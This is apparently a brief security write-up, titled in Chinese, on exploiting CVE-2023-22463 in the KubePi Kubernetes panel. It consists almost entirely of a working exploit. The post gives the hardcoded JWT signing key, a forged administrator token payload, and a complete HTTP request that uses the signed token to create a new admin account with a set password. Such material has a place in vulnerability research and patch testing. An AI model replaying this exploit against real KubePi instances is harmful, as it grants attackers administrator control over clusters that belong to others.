[云安全] kubepi 漏洞分析利用CVE-2023-22463

var JwtSigKey = []byte("signature_hmac_secret_shared_key")

{   "name": "admin",   "nickName": "Administrator",   "email": "[email protected]",   "language": "zh-CN",   "resourcePermissions": {},   "isAdministrator": true,   "mfa": {     "enable": false,     "secret": "",     "approved": false   },   "iat": 1672651776,   "exp": 1783652376 }

POST /kubepi/api/v1/users HTTP/1.1 Host: 192.168.1.6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.127 Safari/537.36 accept: application/json Accept-Encoding: gzip, deflate Content-Length: 231 Connection: close Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiYWRtaW4iLCJuaWNrTmFtZSI6IkFkbWluaXN0cmF0b3IiLCJlbWFpbCI6InN1cHBvcnRAZml0MmNsb3VkLmNvbSIsImxhbmd1YWdlIjoiemgtQ04iLCJyZXNvdXJjZVBlcm1pc3Npb25zIjp7fSwiaXNBZG1pbmlzdHJhdG9yIjp0cnVlLCJtZmEiOnsiZW5hYmxlIjpmYWxzZSwic2VjcmV0IjoiIiwiYXBwcm92ZWQiOmZhbHNlfSwiaWF0IjoxNjcyNjUxNzc2LCJleHAiOjE3ODM2NTIzNzZ9.i-83qNf6pGJkUYdZCknHeTG6PsYKc1FRyjrRcPJUKvI {   "authenticate": {     "password": "admin@123"   },   "email": "[email protected]",   "isAdmin": true,   "mfa": {     "enable": false   },   "name": "admin123",   "nickName": "admin123",   "roles": [     "admin"   ] }